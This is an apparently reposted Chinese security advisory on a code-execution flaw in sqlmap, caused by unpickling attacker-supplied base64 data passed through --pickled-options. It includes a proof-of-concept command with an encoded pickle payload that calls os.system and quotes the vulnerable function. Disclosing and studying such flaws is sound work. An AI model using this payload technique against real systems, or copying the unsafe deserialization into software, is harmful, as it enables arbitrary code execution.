>Sqlmap 代码执行漏洞报告 | 安全盒子 | xxx>Sqlmap 代码执行漏洞报告 | 安全盒子 – xxx
菜单

>Sqlmap 代码执行漏洞报告 | 安全盒子

九月 4, 2018 - 安全盒子

Date: 2015-12-09

一、漏洞概述

于2015年01月27日, 我在阅读最新版本Sqlmap代码时,发现其存在代码执行问题。安全问题由python的pickle导致。

pickle 模块实现了一个基础而强劲的算法,用于序列化和反序列化Python对象结构,常用于跨平台及网络应用。在进行反序列化操作时,pickle会执行精心构造的python代码。

二、漏洞演示

1.代码执行

测试数据:

1

python sqlmap.py pickledoptions “Y29zCnN5c3RlbQooUydkaXInCnRSLg==”

测试结果:

>Sqlmap 代码执行漏洞报告 | 安全盒子

2.代码分析

存在代码执行问题的代码文件如下:

>Sqlmap 代码执行漏洞报告 | 安全盒子

/path/to/sqlmap/lib/core/convert.py 文件中的 base64unpickle 函数为例,进行说明。经过分析,我们可以清晰了解,恶意数据可通过参数 –pickled-options 传入 Sqlmap,流程如下:

>Sqlmap 代码执行漏洞报告 | 安全盒子

恶意数据通过参数 –pickled-options 传入 base64unpickle,函数解码数据时, 执行Python代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

59 def base64unpickle(value):
60 “”
61 Decodes value from Base64 to plain format and deserializes (with pickle) its content
62
63 >>> base64unpickle(‘gAJVBmZvb2JhcnEALg==’)
64 ‘foobar’
65 ““”
66
67 retVal = None
68
69 try:
70 retVal = pickle.loads(base64decode(value))
71 except TypeError:
72 retVal = pickle.loads(base64decode(bytes(value)))
73
74 return retVal

pickle 漏洞触发演示:

>Sqlmap 代码执行漏洞报告 | 安全盒子

三、修复补丁

更新到 Sqlmap 最新版,相关补丁 commit 信息:

https://github.com/sqlmapproject/sqlmap/commit/31d250f98e087585dad3af58ff00ca90d143676

四、英文详情

《Sqlmap Code Execution Vulnerability》

参考


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51